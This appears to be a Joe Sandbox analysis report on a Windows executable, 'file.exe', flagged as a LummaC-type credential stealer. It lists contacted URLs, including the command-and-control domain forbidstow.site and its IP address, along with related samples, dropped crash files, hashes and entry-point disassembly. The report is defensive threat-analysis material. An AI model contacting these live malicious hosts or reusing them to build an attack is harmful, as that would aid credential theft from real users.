https://forbidstow.site/apiY	file.exe, 00000003.00000003.2118075950.000000000138D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000003.00000003.2130598412.000000000138D000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://forbidstow.site:443/apil	file.exe, 00000003.00000003.2172599012.0000000001395000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000003.00000003.2150304942.000000000139C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000003.00000003.2130598412.000000000138D000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4p8dfCfm4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi	file.exe, 00000003.00000003.2147992648.000000000138D000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696425136400800000.2&ci=1696425136743.	file.exe, 00000003.00000003.2148108007.00000000013AF000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000003.00000003.2147992648.000000000138D000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	file.exe, 00000003.00000003.2102801748.000000000389B000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000003.00000003.2102843367.0000000003898000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000003.00000003.2102957593.0000000003898000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://forbidstow.site/apil	file.exe, 00000003.00000003.2147992648.000000000138D000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://crl.rootca1.amazontrust.com/rootca1.crl0	file.exe, 00000003.00000003.2131010744.000000000388F000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://upx.sf.net	Amcache.hve.6.dr	false	URL Reputation: safe	unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	file.exe, 00000003.00000003.2102801748.000000000389B000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000003.00000003.2102843367.0000000003898000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000003.00000003.2102957593.0000000003898000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://ocsp.rootca1.amazontrust.com0:	file.exe, 00000003.00000003.2131010744.000000000388F000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://www.ecosia.org/newtab/	file.exe, 00000003.00000003.2102801748.000000000389B000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000003.00000003.2102843367.0000000003898000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000003.00000003.2102957593.0000000003898000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696425136400800000.1&ci=1696425136743.12791&cta	file.exe, 00000003.00000003.2148108007.00000000013AF000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000003.00000003.2147992648.000000000138D000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://forbidstow.site/pi	file.exe, 00000003.00000002.2192897295.000000000139C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000003.00000002.2192697514.0000000001316000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	file.exe, 00000003.00000003.2132206149.0000000003985000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://forbidstow.site/zo	file.exe, 00000003.00000003.2147992648.000000000138D000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://ac.ecosia.org/autocomplete?q=	file.exe, 00000003.00000003.2102801748.000000000389B000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000003.00000003.2102843367.0000000003898000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000003.00000003.2102957593.0000000003898000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://forbidstow.site:443/api	file.exe, 00000003.00000003.2117769016.0000000003865000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000003.00000003.2117686465.000000000386C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://forbidstow.site/apiDw	file.exe, 00000003.00000003.2172599012.0000000001395000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://forbidstow.site/piDw	file.exe, 00000003.00000002.2192897295.000000000139C000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://contile-images.services.mozilla.com/u1AuJcj32cbVUf9NjMipLXEYwu2uFIt4lsj-ccwVqEs.36904.jpg	file.exe, 00000003.00000003.2148108007.00000000013AF000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000003.00000003.2147992648.000000000138D000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	file.exe, 00000003.00000003.2148108007.00000000013AF000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000003.00000003.2147992648.000000000138D000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://x1.c.lencr.org/0	file.exe, 00000003.00000003.2131010744.000000000388F000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://x1.i.lencr.org/0	file.exe, 00000003.00000003.2131010744.000000000388F000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	file.exe, 00000003.00000003.2102801748.000000000389B000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000003.00000003.2102843367.0000000003898000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000003.00000003.2102957593.0000000003898000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://forbidstow.site/tw	file.exe, 00000003.00000003.2172599012.0000000001395000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://crt.rootca1.amazontrust.com/rootca1.cer0?	file.exe, 00000003.00000003.2131010744.000000000388F000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref	file.exe, 00000003.00000003.2148108007.00000000013AF000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000003.00000003.2147992648.000000000138D000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_35787f1071928bc3a1aef90b79c9bee9c64ba6683fde7477	file.exe, 00000003.00000003.2148108007.00000000013AF000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000003.00000003.2147992648.000000000138D000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://forbidstow.site/	file.exe, 00000003.00000003.2165424961.00000000013B0000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://support.mozilla.org/products/firefoxgro.all	file.exe, 00000003.00000003.2132206149.0000000003985000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	file.exe, 00000003.00000003.2102801748.000000000389B000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000003.00000003.2102843367.0000000003898000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000003.00000003.2102957593.0000000003898000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://forbidstow.site/e	file.exe, 00000003.00000002.2192897295.000000000139C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000003.00000003.2172599012.0000000001395000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://forbidstow.site/c	file.exe, 00000003.00000003.2130598412.000000000138D000.00000004.00000020.00020000.00000000.sdmp	false		unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
104.21.41.39	forbidstow.site	United States		13335	CLOUDFLARENETUS	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1545731
Start date and time:	2024-10-30 22:22:04 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 3s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	10
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@5/5@1/1
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 98% Number of executed functions: 48 Number of non-executed functions: 165
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WerFault.exe, WMIADAP.exe, SIHClient.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 20.189.173.21
Excluded domains from analysis (whitelisted): ocsp.digicert.com, login.live.com, otelrules.azureedge.net, slscr.update.microsoft.com, blobcollector.events.data.trafficmanager.net, onedsblobprdwus16.westus.cloudapp.azure.com, ctldl.windowsupdate.com, umwatson.events.data.microsoft.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: file.exe

Simulations

Behavior and APIs

Time	Type	Description
17:22:58	API Interceptor	8x Sleep call for process: file.exe modified
17:23:17	API Interceptor	1x Sleep call for process: WerFault.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
104.21.41.39	DHr3CzaX5d.exe	Get hash	malicious	LummaC	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
forbidstow.site	Setup.exe	Get hash	malicious	LummaC	Browse	172.67.142.84
	4RNoaB1aYY.exe	Get hash	malicious	LummaC	Browse	172.67.142.84
	DHr3CzaX5d.exe	Get hash	malicious	LummaC	Browse	104.21.41.39

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	188.114.96.3
	Paiement.eml	Get hash	malicious	HTMLPhisher	Browse	104.18.95.41
	PO 4500580954.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	188.114.96.3
	https://pub-6838e3dd185d4df89d3bb3eabe6469a4.r2.dev/index.html#	Get hash	malicious	Unknown	Browse	104.21.48.111
	SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	Get hash	malicious	LummaC	Browse	104.21.33.140
	https:/click.mailchimp.com/track/click/30010842/docsend.com?p=eyJzIjoiT2RaN0hwNHlyY2E3VXl5TWcwMlA2eFpHVlN3IiwidiI6MSwicCI6IntcInVcIjozMDAxMDg0MixcInZcIjoxLFwidXJsXCI6XCJodHRwczpcXFwvXFxcL2RvY3NlbmQuY29tXFxcL3ZpZXdcXFwvZzZnYzZjazdtNHlkYTRpa1wiLFwiaWRcIjpcImNhZDg3NzI1Y2UzMjRiMzI4Yzk1ZGVkYWUyMzc4ZTZjXCIsXCJ1cmxfaWRzXCI6W1wiYzE5ZWU5NGJiMzA5YmZhOGQ2MDU3OGI1Mjk5NTFmOWE4NDQ0ODNhYVwiXX0ifQ#steven.davis@tu.edu	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	https://share.hsforms.com/11zbkP7dfTBO0LgTS5dCN0Asixz3	Get hash	malicious	Mamba2FA	Browse	104.16.117.116
	Access Audits -System #6878.msg	Get hash	malicious	HTMLPhisher	Browse	188.114.96.3

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
a0e9f5d64349fb13191bc781f81f42e1	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	104.21.41.39
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	104.21.41.39
	SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	Get hash	malicious	LummaC	Browse	104.21.41.39
	file.exe	Get hash	malicious	LummaC	Browse	104.21.41.39
	file.exe	Get hash	malicious	LummaC	Browse	104.21.41.39
	819614 - Midways Freight Ltd.xlsm	Get hash	malicious	Unknown	Browse	104.21.41.39
	file.exe	Get hash	malicious	LummaC	Browse	104.21.41.39
	file.exe	Get hash	malicious	LummaC	Browse	104.21.41.39
	weekly-finances-report.xlsx	Get hash	malicious	KnowBe4	Browse	104.21.41.39
	file.exe	Get hash	malicious	LummaC	Browse	104.21.41.39

Dropped Files

⊘No context

Created / dropped Files

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_file.exe_aed1f4129a9d8dcd880d77b26ad86f3e04f99ca_8bf2033d_618ff279-480d-491c-a99d-8f67ae46050e\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.6478058007756035
Encrypted:	false
SSDEEP:	192:jKkXzqvePa0BU/7E3jhzuiFkZ24IO8khB:+eZBU/AjhzuiFkY4IO8+
MD5:	4000A761F4BFCD916040DF9F7ADA97EA
SHA1:	798F2BD830B8CF60CCC02BFA1E118F79F0FB5FDA
SHA-256:	02253DBD665D6210EB036FB94E7F0F548FD070759C4AC3277509F4A4A702D7B1
SHA-512:	E51F33BBB3D240E9E47D78F0673F2C6C1BC151C11BF441FE24445F5554A0F9EFB90CD94FFEE98273413E72A457FFF583C1168595300263544A0236BB5A421DD3
Malicious:	true
Reputation:	low
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.B.E.X.....E.v.e.n.t.T.i.m.e.=.1.3.3.7.4.7.9.6.9.7.7.6.2.8.6.9.9.9.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.7.4.7.9.6.9.7.7.9.2.5.5.7.5.2.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.6.1.8.f.f.2.7.9.-.4.8.0.d.-.4.9.1.c.-.a.9.9.d.-.8.f.6.7.a.e.4.6.0.5.0.e.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.4.9.e.a.1.4.a.e.-.6.b.d.6.-.4.d.5.8.-.b.0.6.a.-.d.0.6.a.3.a.6.d.f.0.7.f.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.f.i.l.e...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.0.9.d.4.-.0.0.0.1.-.0.0.1.4.-.e.9.f.c.-.a.3.e.1.1.1.2.b.d.b.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.7.e.4.9.2.d.7.6.8.e.7.9.7.3.1.6.2.4.b.c.d.f.2.e.7.6.1.5.f.9.1.8.0.0.0.0.f.f.f.f.!.0.0.0.0.4.d.3.2.0.5.a.f.0.b.b.4.d.0.2.9.c.3.4.2.1.b.e.1.e.e.b.c.e.7.2.7.1.9.6.6.b.4.c.5.!.f.i.l.e...e.x.e.....T.a.r.g.e.t.A.p.p.V.e.r.=.2.0.2.4././.1.0././.3.0.:.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERA036.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 14 streams, Wed Oct 30 21:22:57 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	34100
Entropy (8bit):	1.6473534728426835
Encrypted:	false
SSDEEP:	96:5w8t5kY8MZvHCnti77Tvvm4XNKOIiGfrOM9l0mCfrWIkWIfJ6C03Ip5f4gP5:lGtOzXNqb9lRAUj0s5f4gP5
MD5:	069A229C2C0E72F798866B9F704DD43A
SHA1:	2C37065CF62906BFC4AE02428B8EE4016447EA2F
SHA-256:	C76DD137C8BAE7D12D2BD095B963EF3022B727AA6F3D88B85290BAC15C840E61
SHA-512:	3AC64A28A2349EF279B955EC19128D9B71498F6D2774197DF6325EB3C6F56425CB447C95F8908EEB52B6F6788219B7815815226FCDD417E290C72B0C956E6DBE
Malicious:	false
Reputation:	low
Preview:	MDMP..a..... ........."g........................d...........................T.......8...........T................z......................................................................................................eJ..............GenuineIntel............T............."g.............................0..............,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6...................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WERA085.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	8382
Entropy (8bit):	3.6948861806593953
Encrypted:	false
SSDEEP:	192:R6l7wVeJACo6zX6YEIiSU9RBu+rgmf6Vdpr+89bN2sf7vm:R6lXJ46j6YENSU9Xu+rgmf03NVf6
MD5:	1550369C1C16407B3032190B37971071
SHA1:	1A4271E63262EC951F905B3B1FE43C1D9D5E629F
SHA-256:	0C5E4A220E2704C36E5D47BC1A4A224093D7A95943E65D0E542CF40FC76222E3
SHA-512:	B0C290323B68334E54D7C03A882056C84A7C582F137841EA4EE628E91BE70559061C2E51F90ED780F36530C8E14D8FC874A81B5F3344A6E72D232DAA09314817
Malicious:	false
Reputation:	low
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.2.5.1.6.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERA0A6.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4690
Entropy (8bit):	4.453825159955369
Encrypted:	false
SSDEEP:	48:cvIwWl8zscJg77aI9aCgWpW8VY18vYm8M4JirJFEs+q8vPrYM2nMhQd:uIjfaI7YCZ7VEfJoK32nMhQd
MD5:	2C21F4772467540D8256A5039004267C
SHA1:	CD4D976112DA9D3B8B116704FB7F14E3CC60BB4A
SHA-256:	88DD1782952E632CAC8EF95982C8AD3C73E4A58B19F832C103DBE9ED8DC7CCF2
SHA-512:	4B630BCDDA736939CD96C31E9866FF94E89FD6C5ADF866F44DA08251B56F157E0EB689C6C2090D2FEE9132A08C7C57968626863AF05EA38BF2CCEF2B1606D03D
Malicious:	false
Reputation:	low
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="566665" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\Windows\appcompat\Programs\Amcache.hve

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	1835008
Entropy (8bit):	4.421341449581403
Encrypted:	false
SSDEEP:	6144:xSvfpi6ceLP/9skLmb0OT5WSPHaJG8nAgeMZMMhA2fX4WABlEnN20uhiTw:IvloT5W+EZMM6DFy403w
MD5:	E21A60C52522443394DA4BDFA7DA7637
SHA1:	01E46D3B69B63E3E5DEB8BDED999D3BB7AFF6BC6
SHA-256:	FE3B1D6D68F0B3BE42D1025FC5C5FF7CBBEB497971E9890ADD773CB06893DCE7
SHA-512:	20C02C04253CBFBB947C286A9221352940DC1FB80103C105DA0D9F9134B3DF1BE1B2E7141F55FD18ACE5543C61A8BBA9967587D83237C48A7ACF37AA60B50518
Malicious:	false
Reputation:	low
Preview:	regf>...>....\.Z.................... ...........\.A.p.p.C.o.m.p.a.t.\.P.r.o.g.r.a.m.s.\.A.m.c.a.c.h.e...h.v.e....c...b...#.......c...b...#...........c...b...#......rmtm&&...+..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (console) Intel 80386, for MS Windows
Entropy (8bit):	7.641256817521413
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	665'088 bytes
MD5:	998c59d4bf9c18e798a6db77f7ce10f9
SHA1:	4d3205af0bb4d029c3421be1eebce7271966b4c5
SHA256:	e0d3da58a38b98b5d9ba1241fb1b30d7251332883b285117e6d2794af0c66394
SHA512:	22c7faba3d3ec631af044ac63a0deab1ca520a1d826a95becc8466183651215f0a9c1cb9e03e9edd42ce5dfb00f48f9b26cce4397c0edf0264bf311f81eee330
SSDEEP:	12288:3KbQTjM37Fhgr4ZNkE1Er41iaNhqqitQ+jHKVkdvXPg9O/1ACWFtIW5NcDU:nTY37wr4ZyprDGqqitSkxPg41XgtR5Wo
TLSH:	F1E4E001F4C3A0B3E16314300725D6775A3DF9214F259DFFA3E49A7A8A747C19632BAA
File Content Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....n"g............................B.............@.......................................@.....................................(..

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x421c42
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows cui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
Time Stamp:	0x67226EE6 [Wed Oct 30 17:37:42 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	6ec4262994a6b10076d58ba7d08c6aff

Entrypoint Preview

Instruction
call 00007F9C287C8ECAh
jmp 00007F9C287C8D39h
mov ecx, dword ptr [0044E834h]
push esi
push edi
mov edi, BB40E64Eh
mov esi, FFFF0000h
cmp ecx, edi
je 00007F9C287C8EC6h
test esi, ecx
jne 00007F9C287C8EE8h
call 00007F9C287C8EF1h
mov ecx, eax
cmp ecx, edi
jne 00007F9C287C8EC9h
mov ecx, BB40E64Fh
jmp 00007F9C287C8ED0h
test esi, ecx
jne 00007F9C287C8ECCh
or eax, 00004711h
shl eax, 10h
or ecx, eax
mov dword ptr [0044E834h], ecx
not ecx
pop edi
mov dword ptr [0044E830h], ecx
pop esi
ret
push ebp
mov ebp, esp
sub esp, 14h
and dword ptr [ebp-0Ch], 00000000h
lea eax, dword ptr [ebp-0Ch]
and dword ptr [ebp-08h], 00000000h
push eax
call dword ptr [0044C5FCh]
mov eax, dword ptr [ebp-08h]
xor eax, dword ptr [ebp-0Ch]
mov dword ptr [ebp-04h], eax
call dword ptr [0044C5BCh]
xor dword ptr [ebp-04h], eax
call dword ptr [0044C5B8h]
xor dword ptr [ebp-04h], eax
lea eax, dword ptr [ebp-14h]
push eax
call dword ptr [0044C648h]
mov eax, dword ptr [ebp-10h]
lea ecx, dword ptr [ebp-04h]
xor eax, dword ptr [ebp-14h]
xor eax, dword ptr [ebp-04h]
xor eax, ecx
leave
ret
mov eax, 00004000h
ret
push 004509D0h
call dword ptr [0044C620h]
ret
push 00030000h
push 00010000h
push 00000000h
call 00007F9C287D0A11h
add esp, 0Ch

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x4c3e8	0x28	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x54000	0x206c	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x48560	0x18	.rdata
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x40f78	0xc0	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x4c55c	0x14c	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x3ec7f	0x3ee00	3ec499fb020b3b6d0628f076a8a8d15e	False	0.5954196694831014	data	7.0240622903518135	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x40000	0xd8a4	0xda00	6a9fa68ef5aa4094efc6bd64fbfa1618	False	0.5083142201834863	data	5.532774870082355	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x4e000	0x319c	0x1600	b467bb18dd2a08b668ebd6c810faf4de	False	0.40873579545454547	data	4.767256839156854	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.00cfg	0x52000	0x8	0x200	1e206a9823b5c531f4426ddab108bd65	False	0.03125	data	0.06116285224115448	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.tls	0x53000	0x9	0x200	1f354d76203061bfdd5a53dae48d5435	False	0.033203125	data	0.020393135236084953	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.reloc	0x54000	0x206c	0x2200	671458cc50ff55f86bfb89ed67251de5	False	0.7289751838235294	data	6.43539933061298	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ
